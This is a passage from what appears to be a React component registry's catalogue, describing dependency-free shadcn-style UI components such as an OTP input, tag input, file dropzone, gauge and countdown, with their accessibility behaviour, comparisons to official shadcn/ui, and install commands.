A one-time passcode field split into separate digit boxes — the "enter the 6-digit code we sent you" screen. Reach for it on any challenge step where a short numeric code is typed or pasted: two-factor and multi-factor sign-in (2FA/MFA), an authenticator app's TOTP code, an SMS or phone verification code, an email confirmation code, a magic-link fallback code, account recovery, a step-up check before a payment or a destructive settings change, device or TV pairing, and PIN entry. Common asks it answers: "otp input", "one time password input", "verification code input", "6 digit code input", "enter code boxes", "2fa code field", "sms code input", "confirmation code input", "pin input react", "segmented code input", "react-otp-input alternative", "input-otp alternative", "otp input without dependencies", "shadcn otp input". Official shadcn/ui covers the same screen with input-otp, and the difference is the dependency: that one is a wrapper around the third-party input-otp package (plus lucide-react for its separator), so installing it adds a runtime dependency and hands the caret and paste behaviour to a library. This is the same boxed UI written out in a single file with no dependencies at all — reach for it when the project is keeping its dependency list short, when a package has to be vendored or audited before it can be added, or when you want the behaviour in code you can read and change rather than configure. Digits only, by design: the value is stripped to digits and truncated to `length` (default 6) on every path in, so a controlled parent, a paste and a keystroke cannot disagree about what is in the field. Pasting a full code into any box distributes it across the rest and lands the caret on the last filled one, typing auto-advances, Backspace clears and steps back, and the arrow keys, Home and End move between boxes. The first box carries autocomplete="one-time-code", so iOS and Android offer the code from the incoming SMS, and every box is inputMode="numeric" with pattern="[0-9]*" for a numeric keypad on mobile. Every box is labelled "Digit N of 6" and the group carries a name of its own, so a screen reader user is told where they are instead of hearing six unlabelled text fields. Works controlled (`value` + `onChange`) or uncontrolled (`defaultValue`), fires `onComplete` once when the last box fills — on the fill only, not on every later edit — and forwards a ref to the first box so a page can focus it on mount or from a shortcut. Passing `name` mirrors the joined value into a hidden input, so it posts with a plain HTML form, a Next.js server action, or React Hook Form without a controller. Themed with shadcn tokens, so it follows dark mode.

npx shadcn@latest add https://pulld.pages.dev/r/otp-input.json
reactui|

Tag Input

A multi-value text field: what gets typed becomes a removable chip, and the value the form sees is a plain string[]. Enter or a comma commits the draft, Backspace on an empty field takes back the last chip, the x on a chip removes it, and pasting a comma- or newline-separated list adds the whole list at once. Reach for it wherever a field takes several short values a person makes up as they go: the tags, labels, topics or keywords row of a create or edit form, the To/Cc/Bcc recipients of a compose box, an invite-by-email box that takes a pasted column out of a spreadsheet, a filter bar accepting several terms at once, skills or interests on a profile, SEO keywords or meta tags in a CMS, an allowlist of domains, IP ranges, origins or redirect URIs in a settings panel, environment-variable keys, and the categories on a product or article. Common asks it answers: "tag input", "tags input react", "chips input", "token input", "multi value input", "add tags with Enter", "comma separated tags field", "type and press enter to add", "email recipient input", "invite emails input", "bcc chips field", "keyword filter input", "allowlist input", "react-tag-input alternative", "react-tagsinput alternative", "tagify alternative", "react-select creatable alternative", "shadcn tags field", "shadcn chips input". shadcn/ui has no tag, chip or token input anywhere in its sixty-odd components, so this is one an agent writes inline — and the inline version has three bugs that all look fine on the screen where you test them. The first is the form: a keydown handler that adds a tag on Enter without calling preventDefault leaves the Enter to do its normal job, so pressing it inside a <form> submits a half-filled form instead of adding a tag (and the comma, unstopped, is also typed into the field). Both keys are prevented here, and your own onKeyDown still runs first and can preventDefault to take the key back. The second is paste, which is where multi-value fields actually get used and where the obvious loop is wrong: calling addTag once per pasted value reads the tag list from a render that has not happened yet, so every iteration after the first sees a stale list — the cap and the duplicate check are computed against it, and depending on how state is set, most of the pasted values are silently dropped. The add is written as a pure function over a working list instead, threaded through every candidate and committed once, so ten pasted emails arrive as ten chips with one onChange and one announcement. The third is that a chip appearing or vanishing is a change nobody using a screen reader hears — the input's own value did not change, and neither did focus — so each add and remove is spoken through a polite live region ("Added design", "Removed design", "Added 5 tags" for a batch), and every chip's remove button carries its own label naming the tag it drops rather than a row of identical "Remove" buttons. Duplicates are matched case-insensitively, so React and react are one tag and not two, and allowDuplicates turns that off. The remove buttons are deliberately outside the tab order: a field holding twenty tags would otherwise be twenty-one tab stops on the way to the next input, so keyboard removal is Backspace from the field and the x is there for the pointer. Controlled with value/onChange or uncontrolled with defaultValue; max caps the count, validate rejects a candidate before it becomes a chip (an email regex, a lowercase-slug rule), the ref forwards to the real input so you can focus it, and clicking anywhere in the box focuses it too. The string[] drops straight into react-hook-form's Controller or any controlled state in React or Next.js, and remaining props land on the inner input, so placeholder, name, id, aria-* and data-* all work. Chips use the secondary token and the box uses input, ring and muted-foreground, so it follows light and dark with no extra styling; className styles the box and inputClassName the field inside it. One file, one lucide icon, no tag library. Distinct from pulld multi-select, which picks from a fixed list of options you supply: reach for that one when the set of valid values is known, and for this one when the person is inventing them.

npx shadcn@latest add https://pulld.pages.dev/r/tag-input.json
tok_1a2b

Copy Field

composes copy-button

Read-only field that shows a value with a copy button docked at its right edge: one click copies, and focusing or clicking anywhere in the field selects the whole value. Use it wherever a generated string is read once and copied — an API key or secret, an access token, a client ID and client secret, a database connection string, an invite or share link, a webhook or callback URL, a license key, recovery or backup codes, a referral code, a wallet address, an account, order or transaction ID, an ngrok or preview URL, the CLI command your onboarding tells the user to run. Common asks it answers: 'copy to clipboard input react', 'readonly input with copy button', 'input with copy button shadcn', 'copy field component', 'api key field react', 'display api key with copy button', 'secret token field react', 'show connection string with copy', 'invite link copy component', 'share link input with copy', 'webhook url field react', 'select all text on focus react', 'select input value on click', 'react copy to clipboard component', 'react-copy-to-clipboard alternative', 'copy button next to text input', 'navigator.clipboard undefined', 'clipboard.writeText not working localhost', 'copy fails inside iframe', 'copy to clipboard without https', 'shadcn copy input', 'next.js copy field'. Select-on-focus is the part that matters and the part hand-rolled versions leave out: navigator.clipboard.writeText rejects on an insecure origin, inside a sandboxed iframe, or when the document is not focused, and a copy button that swallows that error leaves the user with a value they cannot get out of the box. Here the whole value is already selected, so Ctrl/Cmd+C works, and it is reachable from the keyboard because focus alone selects it. The button announces itself properly too — it composes pulld's copy-button, so its accessible name flips between "Copy to clipboard" and "Copied", a polite live region says "Copied" for a screen reader, the icon is aria-hidden, and the copied state reverts after a timeout you can set. The field renders in monospace so an O and a 0 are distinguishable, forwards a ref so you can focus it from a shortcut, and takes an aria-label (default "Copyable value"). Official shadcn/ui has no copy field: its input-group is an assembly kit of six parts (InputGroup, InputGroupAddon, InputGroupButton, InputGroupText, InputGroupInput, InputGroupTextarea) that pulls in button, input and textarea and contains no clipboard call, no read-only handling and no selection behaviour — you would be writing all of the above yourself. Two files, no npm dependencies, shadcn tokens, dark mode included.

npx shadcn@latest add https://pulld.pages.dev/r/copy-field.json
DayWeek

Segmented Control

A row of 2–4 mutually exclusive choices drawn as one moving pill on a shared track — the iOS-style segmented control, and what most dashboards use to switch a view or a range without navigating anywhere. Reach for it wherever a single setting has a handful of choices that all fit on screen at once: List/Grid/Board, Day/Week/Month or 24h/7d/30d above a chart, Light/Dark/System, °C/°F, Monthly/Yearly on a pricing page, Newest/Oldest, All/Active/Archived, Preview/Code on a docs example, Table/JSON on a response viewer. Common asks it answers: "segmented control", "segmented button", "iOS segmented control", "pill toggle", "toggle switcher", "view switcher", "time range switcher", "chart period selector", "sort or filter toggle", "unit toggle", "tabs without panels", "Ant Design Segmented", "MUI ToggleButtonGroup" — the control usually faked with a row of buttons and a useState. How it differs from the neighbours official shadcn/ui ships: tabs and toggle-group each pull in a Radix package (@radix-ui/react-tabs, @radix-ui/react-toggle-group), and button-group is a layout wrapper with no selection of its own. This is one file with no dependencies, and it is a real radio group — role=radiogroup on the track, role=radio and aria-checked on every segment — so assistive technology announces one setting with a selected option among several rather than a row of unrelated buttons. Tabs additionally owns panels and the tab/tabpanel relationship, which is the wrong contract when the choice only filters or reframes data already on the page, and a switch only covers two states. The keyboard follows the radio pattern rather than the button one: arrow keys (left/right and up/down) move and select in a single press and wrap around the ends, Home/End jump to the first and last usable segment, disabled segments are stepped over instead of trapping focus, and a roving tabindex keeps the whole group one tab stop with the selected segment as the entry point. Also: per-segment disabling as well as a whole-group disabled state, controlled or uncontrolled through a string value with onValueChange, a focus-visible ring, and shadcn tokens throughout so it follows the theme in light and dark.

npx shadcn@latest add https://pulld.pages.dev/r/segmented-control.json
23

Step Indicator

Horizontal stepper that shows where someone is in a fixed sequence — numbered circle markers joined by a connecting line, each drawn as complete (filled, with a check), current (ringed and highlighted) or upcoming (muted). Pass the steps and a current index and it derives every state; there is nothing to keep in sync by hand. Reach for it at the top of anything multi-step: a checkout or cart flow, a signup and onboarding wizard, account or workspace setup, a KYC or identity-verification flow, a document or tax filing, a multi-page form split across screens, an upload-then-review-then-publish pipeline, a survey or quiz, or an installer. Common asks it answers: "stepper component", "step indicator react", "multi-step form progress", "wizard steps ui", "checkout progress bar with steps", "onboarding progress indicator", "shadcn stepper", "progress steps 1 2 3", "form wizard header". shadcn/ui has no stepper: its progress component is a single bar with no notion of discrete stages, labels or a current position, and while its questionnaire is a multi-step flow, that component owns the questions and answers and reports its place as a plain "3 of 8" counter rather than a rail of numbered markers — so the header that shows where someone is in a sequence you already control still gets rebuilt by hand out of divs and borders. It is also not a timeline: this one counts position through a sequence that is known in advance and still to be finished, while timeline is the record of what already happened and has no current step. Built as an ordered list, because the steps are an ordered list: the active one carries aria-current="step", every marker states its own status in screen-reader-only text (Completed / Current step / Not completed) rather than leaving the meaning to a colour and a tick, and the check icon is aria-hidden so it is not announced twice. Conveying stage by colour alone fails WCAG 1.4.1, which is why the status is always spelled out. Pass onStepClick and the steps already reached become real buttons with a focus-visible ring, while upcoming steps stay inert — a stepper that lets someone jump forward past validation is worse than one that is not clickable at all. Theme-aware through shadcn tokens with dark mode, and the only dependency is lucide-react for the check icon.

npx shadcn@latest add https://pulld.pages.dev/r/step-indicator.json
★★★★★

Rating

A star rating that works both ways: as an input that collects a score, and read-only as a display of one. Reach for it wherever a number between 0 and 5 is really a row of stars: the "rate this" step after a purchase, delivery or booking; a product, app-store or seller review form; a CSAT or satisfaction question at the end of a support ticket or chat; a post-call or post-session feedback prompt; a difficulty, quality or priority score on an internal form; and, in read-only mode, the average beside a listing, a product card, a search result, a testimonial or a review summary (an average like 3.7 fills 70% of the fourth star, so the display is not rounded to a whole one). Common asks it answers: "star rating", "rating component", "rating input", "react star rating", "five star rating", "half star rating", "review stars", "star rating readonly", "average rating display", "feedback rating component", "shadcn rating", "shadcn star rating", "react-rating alternative", "rate this product component", "CSAT stars". Official shadcn/ui has no rating or star item of any kind — its slider is a range control with a thumb on a track, which is a different shape of answer — so the usual fallback is a row of buttons with no shared value semantics, and that is what makes it inaccessible. This one is a real slider: focusable with a focus-visible ring, arrow keys raise and lower the score in either axis, Home clears it to 0 and End maxes it out, and it exposes aria-valuemin/valuemax/valuenow plus a spoken aria-valuetext ("3.5 out of 5 stars") so a screen reader announces the score rather than counting buttons; read-only mode drops the slider role and renders as a labelled image instead, which is the correct semantic for a number you cannot change, and the individual stars stay aria-hidden either way because the value is announced once, not five times. Set allowHalf to take half stars — click the left half of a star, or step by 0.5 from the keyboard. Works controlled or uncontrolled through a plain number value with onValueChange (a number, not a string, so there is nothing to parse), forwards a ref, and posts through a hidden input in native forms via `name`. `max` changes the number of stars for a 3- or 10-point scale, `size` sets the pixel size, and `disabled` keeps the slider semantics while refusing input. Theme-aware via shadcn tokens — filled stars use the primary color, so it follows light and dark mode — with lucide-react as its only dependency, for the star icon.

npx shadcn@latest add https://pulld.pages.dev/r/rating.json

Timeline

A vertical timeline: a list of events drawn as dots on a connecting line, each with an optional timestamp, title, description and icon. Reach for it wherever the content itself is "what happened, and in what order": an activity feed on a record, profile or dashboard; an audit, security or admin history log; a changelog or release-notes page; order, shipment and delivery tracking; a deploy, build or CI/CD run log; incident updates on a status page; a support ticket's history; approval and review trails; the event stream on an order, invoice or subscription; notification history; a product roadmap; and the experience or education list on a resume or "about" page. Common asks it answers: "timeline component", "vertical timeline", "activity feed", "activity timeline", "history log component", "audit log UI", "changelog timeline", "release notes timeline", "order tracking timeline", "shipment tracking UI", "deploy history list", "event stream component", "status timeline", "shadcn timeline", "shadcn activity feed", "react vertical timeline alternative", "react-chrono alternative", "MUI Timeline equivalent", "antd Timeline equivalent", "resume timeline". shadcn/ui ships no timeline: fetching the source of all 63 items in its registry and grepping them turns up no timeline, no <time> element and no connector line anywhere. The nearest things it has are marker — one annotation row of an icon beside muted text, with a variant that rules a line across it, the "New messages" divider in a chat — and item, a kit for laying out a single row; neither stacks events on a shared line nor carries a time. It is also not step-indicator, the other dots-on-a-line component here: a step indicator counts position through a sequence that is known in advance and still to be finished, while a timeline is the record of what already happened and has no current step. Pass an items array (title, optional time, description, icon and a colour accent). The timestamp renders as a semantic <time> element with a machine-readable dateTime, so it is legible to a reader and to a crawler; the connecting line and the decorative dots are aria-hidden, so a screen reader hears the events rather than the ornament; and each marker takes a per-item colour (muted, primary, success, warning, destructive), so status like succeeded, failed or pending can be flagged without reaching for a second component. Pass an icon to render an icon badge instead of a plain dot. It is a pure display component with no state, so it renders inside a server component with no "use client" and costs nothing on the client. Theme-aware via shadcn tokens with dark mode; no dependencies (bring your own icons).

npx shadcn@latest add https://pulld.pages.dev/r/timeline.json
New — try it →×

Announcement Bar

A dismissible bar pinned above your header for a message the whole site needs to see: a launch or new release, a promo, sale or free-shipping offer, a scheduled-maintenance or downtime window, an incident or status notice, a beta or early-access note, a cookie or GDPR notice, a plan-expiring or payment-failed warning, or a 'you are viewing the docs for an old version' banner. Common asks it answers: "announcement bar react", "shadcn announcement bar", "site-wide banner component", "top banner react", "notification bar react", "promo bar component", "dismissible banner react", "sticky top banner", "cookie consent banner react", "maintenance notice banner", "status or incident banner", "free shipping bar", "docs version notice banner", "header banner tailwind", "site notice component", "banner that remembers dismissal", "persist dismissed banner localStorage", "banner flashes before hiding on load", "hydration mismatch localStorage banner", "announcement bar next.js app router". Give it an id and it remembers the dismissal in localStorage, so a visitor who closes it does not meet it again on the next page or the next visit; bump version (or the id) when the wording changes and it comes back for everyone. It renders nothing until it has mounted, which is the part that is easy to get wrong on your own: reading localStorage while rendering makes the server and the browser disagree and React throws a hydration mismatch, and rendering the bar first and hiding it afterwards flashes a banner the user already dismissed on every single page load. The bar is a labelled landmark region rather than a plain div, so it is reachable by landmark navigation instead of being an unnamed strip of text before the header; the close button has a real accessible name and a focus ring, the leading icon is aria-hidden because it repeats the text, and dismissible={false} drops the button entirely for a banner that must stay put. Two looks — primary is a solid accent bar, default is a muted bar with a bottom border — both from shadcn tokens, so it follows light and dark with the rest of your theme. Takes an action slot for the trailing 'Read more' or 'Upgrade' link and calls onDismiss so you can log it. Official shadcn/ui has nothing that does this: alert is a static box that cannot be closed and remembers nothing, alert-dialog is a modal that blocks the page until answered, and sonner is a toast that floats in and disappears on a timer — none of them is a persistent top-of-page bar, and none of them survives a page load. lucide-react is the only dependency, for the close icon.

npx shadcn@latest add https://pulld.pages.dev/r/announcement-bar.json
Drop files

File Dropzone

A drag-and-drop file upload area that is also a real file picker: drop files onto it, or click it — or focus it and press Enter or Space — to open the native chooser. Reach for it at the point a product takes a file in: an avatar or profile photo upload, a logo in brand settings, an image or gallery upload, a CSV/TSV/XLSX import step, a document, PDF, contract or resume upload, receipts and invoices, ID and KYC documents, attachments on a ticket, issue, message or email composer, a bulk media or photo drop, a dataset or training-corpus upload for an AI app, a .zip or backup restore, and the file step of an onboarding or import wizard. Common asks it answers: "file dropzone", "drag and drop file upload", "drop zone react", "drag drop upload area", "upload box", "click to browse files", "file picker component", "shadcn file input", "shadcn file upload", "shadcn dropzone", "react-dropzone alternative", "filepond alternative", "uppy alternative", "csv upload component", "image upload dropzone", "multiple file upload react", "accept only images", "limit file size on upload", "restrict file types react". The gap in official shadcn/ui is the taking-in half, and it is worth being precise about it now that the catalogue has grown: input covers text-like types and never file, and attachment — its newer component in this area — renders a file that has already been attached, with media, title, description and actions, but contains no `<input type="file">`, no drop target, and no accept or size filtering. Nothing there receives a file. What is hand-rolled every time and easy to get wrong: a drop target only works if `dragover` is cancelled, and a version that skips it drops the file straight into the browser, which navigates away from the app and takes any unsaved form with it — so `dragover` is cancelled here. The `accept` attribute is also filtering theatre on a drop: the browser applies it to the chooser dialog only, and anything dragged in arrives unfiltered, so the same rules are applied a second time in JavaScript. Dropped and picked files therefore go through one path and one filter — `accept` (a mime type, a wildcard like image/*, or a .ext), `maxSize` in bytes, and `maxFiles` — and everything skipped comes back through `onReject` tagged with the reason it was skipped ("type", "size" or "too-many"), so the UI can say why instead of swallowing the file and looking broken. It wraps a hidden real `<input type="file">` rather than simulating one, so the control still submits with a form, still takes `name` and `required`, and still forwards a ref for a caller who wants to open the chooser from a button elsewhere. Works controlled or uncontrolled over a `File[]`, single or multiple, with a highlighted drag-over state and a disabled state that also leaves the tab order. Accessible without a mouse or a screen: the region is a `role="button"` with a real tab stop, activated by Enter and Space, drawn with a focus-visible ring, marked `aria-disabled` when disabled, and every add and every rejection is announced through a polite live region — the part hand-rolled dropzones almost always omit, which leaves a screen-reader user with no confirmation that a dropped file landed or any idea why it did not. It hands back a `File[]` and deliberately stops there — no endpoint, no auth, no progress source it would have to guess. Pair it with upload-list for the rows that show what happened to those files. Styled with shadcn tokens so it follows light and dark mode; the only dependency is lucide-react, for the upload icon.

npx shadcn@latest add https://pulld.pages.dev/r/file-dropzone.json
72%

Progress Ring

A circular progress indicator: an SVG ring that fills clockwise from twelve o'clock, with the percentage — or any icon or short label you pass — sitting in the middle of it. Reach for it when a linear bar is the wrong shape: file, image and video upload progress, a storage or quota meter (disk, seats, API credits, plan limits), a goal, streak or activity ring, profile or setup completeness, onboarding and multi-step progress badges, a countdown or timer dial, per-row progress in a compact table or card, and score or health dials on a dashboard. Common asks it answers: "circular progress", "circle progress bar", "radial progress", "progress circle", "donut progress", "percentage circle", "completion ring", "activity ring", "upload progress circle", "quota ring", "react-circular-progressbar alternative", "shadcn circular progress". Official shadcn/ui has no radial progress component: its progress is a linear bar that pulls in @radix-ui/react-progress and is a client component, with no notion of a circle, a percentage readout or an unknown total; its spinner turns forever and reports no value at all. This one is a single file with no npm dependencies whatsoever — not Radix, not class-variance-authority — and it declares no "use client", so it renders inside a React Server Component instead of dragging a client boundary along with it. Set showValue to print the rounded percent in the centre, or pass children to put an icon, a fraction or a short word there instead. Set indeterminate when the total is not known yet — an upload with no content length, a job whose size the server has not reported — and it spins a fixed quarter arc and drops aria-valuenow, which is how a progressbar is supposed to say "running, position unknown" rather than lying with a number. Otherwise it exposes role=progressbar with aria-valuenow, aria-valuemin and aria-valuemax and takes an aria-label for its accessible name, and the ring itself is aria-hidden so the value is announced once rather than twice. size and strokeWidth are plain pixel props, the geometry is derived so the stroke never clips at the edge of the box, a value past max or below zero is clamped instead of drawing an impossible ring, and max=0 reads as empty rather than dividing by zero. Themed with shadcn tokens so it follows dark mode.

npx shadcn@latest add https://pulld.pages.dev/r/progress-ring.json
Pro
$29/mo
UnlimitedAnalytics

Pricing Card

A single pricing plan card — one tier's box, with its name, its price, what it includes and the button that takes it. Reach for it wherever a plan has to be chosen or shown: a marketing pricing page, a plans-and-billing settings screen, an upgrade, paywall or trial-ended modal, a compare-plans table, the subscription row in an account page, a checkout or plan-picker step, a seat or usage tier selector, and the free/pro/enterprise row on a landing page. Common asks it answers: "pricing card react", "pricing table component", "shadcn pricing card", "shadcn pricing page", "shadcn pricing table", "pricing tiers component react", "subscription plan card", "plan comparison card", "free pro enterprise cards", "most popular plan highlight", "featured pricing tier ring", "recommended plan badge", "upgrade modal component", "paywall component react", "billing settings plan card", "monthly yearly price toggle card", "price with billing period", "feature list with checkmarks react", "included and excluded features list", "strikethrough feature not announced screen reader", "line-through accessibility", "check and cross feature list accessible", "tailwind pricing card", "next.js pricing page component", "stripe pricing table alternative", "build your own pricing table", "heading level prop react", "pricing table heading hierarchy", "料金プラン カード react", "価格表 コンポーネント". It takes a plan name, a big price with its billing period ($29 /mo), an optional one-line pitch, a feature list and a call-to-action, and several of them sit side by side to make the whole pricing table. Features are the part that is usually got wrong. Pass a string for an included feature or an object to mark one excluded; an excluded row is muted and struck through, and it also carries a screen-reader-only "Not included:" prefix — because text-decoration: line-through is not announced, so a purely visual strikethrough tells a sighted reader the feature is missing and tells a screen-reader user it is included. The check and minus icons are aria-hidden, since the text already says which is which. Set featured to mark the recommended tier: it draws a primary ring and a "Most popular" badge, and badge takes any other label (Best value, Current plan). headingLevel picks h2, h3 or h4 so three cards dropped into a section do not break the page outline — a pricing table is the classic place where a hardcoded h3 lands under the wrong h2. Against official shadcn/ui there is no pricing card to compare with, only pieces to assemble: card is a 1,828-character generic container with no price, plan, tier or feature vocabulary in it at all, item is a ten-part compound kit (ItemGroup, Item, ItemMedia, ItemContent, ItemTitle, ItemDescription, ItemActions, ItemHeader, ItemFooter, ItemSeparator) that additionally pulls in separator and is built for list rows, and badge and button each drag in @radix-ui/react-slot. None of the four contains a single pricing term. Within pulld it is the marketing-page counterpart to feature-card, which sells a capability rather than a tier, and it pairs with segmented-control for the monthly/yearly switch above a row of them. This is one component with lucide-react as its only dependency, theme-aware through shadcn tokens in light and dark.

npx shadcn@latest add https://pulld.pages.dev/r/pricing-card.json
Fast
Ships in milliseconds

Feature Card

An icon + heading + one line of copy, as the repeating tile in the features or benefits section of a landing or marketing page — a “why us” grid, “what’s included”, value props, product highlights, services, capabilities, or a perks row on a pricing page. Drop several into a responsive grid (grid-cols-2 / grid-cols-3) and that is the whole section; each card takes icon, title, description and optionally href. Set href and the entire card becomes the click target: it renders as an <a> rather than a <div>, with hover and a focus-visible ring, so keyboard users get one tab stop per card instead of hunting for a small link nested inside it. shadcn/ui ships no feature card. Its card is a generic container (~1.8KB of source, no dependencies) with no icon slot and no href — the icon square, the heading and the link are all yours to assemble. Its newer item is the closest thing in shape and does have an icon slot, but it is a ten-part compound kit (ItemGroup, Item, ItemMedia, ItemContent, ItemTitle, ItemDescription, ItemActions, ItemHeader, ItemFooter, ItemSeparator) that also pulls in separator, and it is built for list rows rather than a marketing grid. Two concrete differences past the assembly work: official’s ItemTitle renders a <div>, so a features grid built from it contributes nothing to the document outline, whereas this renders a real heading you choose with headingLevel (h2/h3/h4, default h3) so screen-reader users can jump feature to feature; and official’s ItemMedia sets no aria-hidden, so a purely decorative icon can still be announced, whereas this marks the icon square aria-hidden and lets the title carry the meaning. Neither official component accepts an href, so “make the whole tile a link” is hand-wired in both. Zero dependencies — bring your own icon element (a lucide-react icon, an emoji, an <img>); it sits in a tinted primary/10 square, and everything else follows your shadcn tokens including dark mode.

npx shadcn@latest add https://pulld.pages.dev/r/feature-card.json
72

Gauge

A semicircular (half-circle) gauge or dial that shows one measurement inside a known range, drawn as an SVG arc that fills from the left and animates to its new position. Reach for it when the number is a *level being read*, not a task being finished: CPU, memory, load average or server utilisation on an infrastructure dashboard; disk, storage or bandwidth used against a plan; API rate-limit, quota or credit consumption; a health, uptime, performance, SEO or Lighthouse-style score; a speedometer or throughput readout; temperature, humidity, pressure or a sensor reading on an IoT panel; battery, signal or capacity level; a credit, risk, trust or fraud score; NPS and satisfaction; and KPI, quota or target attainment on a sales or revenue dashboard. Common asks it answers: "gauge component", "gauge chart react", "semi circle gauge", "half circle progress", "speedometer component", "dial component", "meter component react", "radial gauge", "arc progress", "score gauge", "KPI gauge", "utilization gauge", "shadcn gauge", "shadcn meter", "shadcn speedometer", "tailwind gauge component", "react-gauge-chart alternative". Official shadcn/ui has no gauge, meter, dial or speedometer, and the two items that look adjacent are not substitutes: `progress` is a linear bar that means *how far along*, and `chart` is a Recharts wrapper — a charting library you install (recharts) and configure with data series, which can be bent into a radial bar but arrives as a chart rather than as a labelled single-value readout. The distinction is also the accessibility one, and it is the reason this is not a progress ring: a gauge exposes `role="meter"` with `aria-valuemin`, `aria-valuemax` and `aria-valuenow`, which is what assistive technology reads as "a measurement within a range", where `role="progressbar"` announces a task advancing toward completion. Getting that backwards is the single most common mistake in hand-rolled dials, and it is invisible until someone uses a screen reader. Set `segments` to change the arc colour at thresholds — green under 60, amber under 85, red to 100 — passing shadcn/Tailwind colour classes so the zones follow light and dark mode; omit it for a single primary-coloured dial. `min`/`max` set the scale, `showValue` renders the number in the centre, `formatValue` formats it (percent, bytes, ms, currency), `label` adds a caption, and `children` replaces the centre entirely when you want a sparkline, a delta or an icon in there. One file, no charting library, no icon package — nothing beyond your `cn` util.

npx shadcn@latest add https://pulld.pages.dev/r/gauge.json
3 minutes ago

Time Ago

Auto-updating relative timestamp — "3 minutes ago", "just now", "in 2 days" — that re-renders on its own timer so the label stays true without a reload. Reach for it wherever a full date would be noise and recency is the point: comment, post, review and chat message times, a notification or activity feed, "last seen", "last updated", "last synced" and "last login" labels, commit, build and deploy history, created/modified columns in an admin table, an audit or event log, support-ticket and order-status updates, a file list, a session or API-key list, and cache or backup freshness. Common asks it answers: "react time ago component", "relative time react", "time ago react", "x minutes ago react", "react-timeago alternative", "timeago.js alternative", "dayjs fromNow without dayjs", "moment fromNow replacement", "date-fns formatDistanceToNow component", "Intl.RelativeTimeFormat react hook", "relative timestamp that updates live", "auto refreshing timestamp react", "shadcn time ago", "shadcn relative time", "localized relative time react", "yesterday instead of 1 day ago", "semantic time element react", "relative time hydration mismatch", "timestamp tooltip with full date". Official shadcn/ui has nothing for this and nothing to build it out of: RelativeTimeFormat, timeAgo, fromNow, formatDistance, dateTime, the string "just now", the <time> element and even "Intl." are each zero hits across all 62 of its fetchable items (measured 2026-09-25; the 30 hits for "relative" are all Tailwind's positioning class). Distinct from the other time pieces in this registry: countdown runs toward a deadline and ticks every second, save-status reports the state of one save rather than the age of a thing, date-input and time-input are for entering a value, month-picker chooses a month, and calendar-heatmap draws a year of days — this one only says how long ago something happened, and keeps saying it correctly as the page stays open. The wording comes from the platform's own Intl.RelativeTimeFormat, so it localizes for free through the locale prop and reads correctly for past and future alike; numeric="auto" gives "yesterday"/"tomorrow" instead of "1 day ago", and format="short" or "narrow" gives "3 min. ago"/"3m ago". Anything newer than justNowThreshold seconds (default 45) shows justNowLabel. The tick rate follows the age of the thing rather than the clock — every 15s while under a minute old, once a minute under an hour, then hourly — which is the difference between a feed of fifty timestamps and a feed of fifty one-second intervals; pin it with updateInterval when you want one rate. It renders a semantic <time> with a machine-readable dateTime and a title carrying the full localized date, so the exact moment is still reachable on hover and by anything reading the markup. The clock is only ever read after mount, so a server render and the browser's first paint cannot disagree about the age of something that changes every second. An unparseable date renders nothing rather than the words "Invalid Date". Accepts a Date, an ISO string or epoch milliseconds, theme-aware through the text-muted-foreground token, and depends on nothing but your cn util — no date library, no extra packages.

npx shadcn@latest add https://pulld.pages.dev/r/time-ago.json
design ×eng ×

Multi Select

A searchable multi-select: choose several options from a list you define, each shown as a removable badge in the trigger. Reach for it wherever a field stores an array rather than one value: assigning tags, labels, topics or categories to a post, product, ticket or issue; picking assignees, reviewers, attendees, team members or recipients; granting permissions, roles, scopes or groups; filtering a table, dashboard or report by several statuses, owners, channels, regions or vendors; choosing skills, industries, languages, integrations or notification channels; deciding which columns a table shows; and the "applies to" row on a rule, policy, coupon or automation. Common asks it answers: "multi select", "multiselect", "shadcn multi select", "shadcn multiselect combobox", "select multiple react", "multiple select dropdown", "multi select with search", "multi select with badges", "checkbox dropdown", "react-select alternative", "cmdk multi select", "combobox multiple", "assignee picker", "tag select", "accessible multi select", "select several options". Official shadcn/ui has no multi-select of any shape: across all sixty-three of its components the word "multiple" does not appear once, and its select, native-select and combobox are single-value by construction. The two things it has that hold more than one answer are a different tool — checkbox is one control per option, and toggle-group takes Radix's type="multiple" but is a row of always-visible buttons. Both stop working somewhere around a dozen options; this is the control for the list that has to be searched, and it is the gap that sends people to react-select or a hand-rolled cmdk popover. Distinct from pulld's tag-input, and the pair is worth knowing: this picks from a fixed set of options you supply and returns their values, while tag-input lets someone type new free-text tags that did not exist before. Choose by whether an unknown answer is allowed. Built on the select-only combobox pattern rather than a div with click handlers: the trigger is role="combobox" with aria-expanded and aria-haspopup, the panel is an aria-multiselectable listbox, the highlighted row is tracked with aria-activedescendant, chosen rows carry aria-selected with a check, and every add and remove is announced through a polite sr-only live region — the part a hand-rolled version always omits, which leaves a screen-reader user with no confirmation that anything happened. The keyboard is complete: Enter, Space or Down opens; arrows move; Enter toggles; Escape closes; Backspace removes the last badge from the trigger, and again from an empty search box; each badge's × removes just that one and never opens the panel. Type in the built-in search box to filter, or pass hideSearch for a short list and the listbox itself takes focus and the arrow keys. Works controlled (`value` + `onChange`) or uncontrolled (`defaultValue`), always a string[] of option values. `max` caps the selection and disables the unchosen rows at the cap rather than silently ignoring a click; per-option `disabled` blocks one row; `placeholder`, `searchPlaceholder` and `emptyMessage` are yours. Themed with shadcn tokens (secondary badges, accent highlight, popover surface, ring), so it follows light and dark mode. No Radix and no cmdk — one file, lucide-react for the three icons and your own cn util.

npx shadcn@latest add https://pulld.pages.dev/r/multi-select.json
02hrs:14min:33sec

Countdown

A live countdown timer to a future moment — it re-renders every second, ticks down, never goes negative, and fires an onComplete callback once when it reaches zero. Use it wherever you're waiting on a deadline: a product/waitlist launch or "coming soon" page, a sale/offer/flash-deal or cart-reservation expiry, an OTP/verification resend or rate-limit cooldown, an auction or bid close, a webinar/event/stream start time, a maintenance window, a booking or checkout hold, or a quiz/game round timer. Common asks it answers: "countdown timer react", "react countdown component", "countdown to a date react", "days hours minutes seconds react", "sale ends in timer", "flash sale countdown", "launch countdown component", "coming soon countdown", "auction ending timer", "otp resend countdown", "resend code in 30 seconds", "cooldown timer react", "event starts in countdown", "react-countdown alternative", "useCountdown hook", "countdown timer without a date library", "shadcn countdown", "shadcn timer component", "countdown timer tailwind". Pass `to` as a Date, an ISO string, or epoch milliseconds. By default it renders labeled days/hours/minutes/seconds segments (the days block appears only once at least a day remains, or force it with showDays) using shadcn card/border/foreground tokens with tabular-nums so digits don't jitter. For a fully custom face — a compact "02:14:33", a circular ring, marketing hero digits — pass a render-prop child that receives { days, hours, minutes, seconds, total, isComplete } and return your own markup. The reason to 